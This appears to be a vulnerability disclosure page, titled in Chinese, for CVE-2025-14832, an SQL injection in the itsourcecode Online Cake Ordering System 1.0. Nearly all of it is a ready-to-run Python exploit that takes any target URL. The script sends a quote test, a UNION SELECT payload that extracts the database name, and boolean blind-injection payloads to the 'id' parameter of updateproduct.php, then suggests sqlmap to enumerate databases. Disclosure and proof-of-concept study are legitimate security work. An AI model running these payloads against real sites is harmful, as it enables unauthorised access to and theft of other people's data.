CVE-2025-14832 itsourcecode在线蛋糕订购系统SQL注入漏洞

import requests import sys # CVE-2025-14832 SQL Injection PoC # Target: itsourcecode Online Cake Ordering System 1.0 # File: /updateproduct.php?action=edit # Parameter: ID def exploit_sqli(target_url, payload): """Exploit SQL injection vulnerability""" # Construct malicious URL exploit_url = f"{target_url}/updateproduct.php?action=edit&id={payload}" try: response = requests.get(exploit_url, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" def basic_sqli_test(target_url): """Basic SQL injection test""" # Test with simple quote to trigger SQL error payload = "1'" print(f"[*] Testing basic SQL injection...") result = exploit_sqli(target_url, payload) if "sql" in result.lower() or "error" in result.lower(): print("[+] SQL injection confirmed!") return result def extract_database(target_url): """Extract database name using UNION injection""" # UNION-based SQL injection payload payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL-- -" print(f"[*] Extracting database name...") result = exploit_sqli(target_url, payload) return result def blind_sqli_test(target_url): """Boolean-based blind SQL injection test""" # True condition true_payload = "1' AND 1=1-- -" # False condition false_payload = "1' AND 1=2-- -" true_result = exploit_sqli(target_url, true_payload) false_result = exploit_sqli(target_url, false_payload) if true_result != false_result: print("[+] Blind SQL injection confirmed!") return true_result, false_result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14832.py <target_url>") print("Example: python cve-2025-14832.py http://victim.com/cake-ordering") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-14832 SQL Injection PoC") basic_sqli_test(target) extract_database(target) blind_sqli_test(target) print("[*] For detailed exploitation, use sqlmap:") print(f"sqlmap -u '{target}/updateproduct.php?action=edit&id=1' --dbs")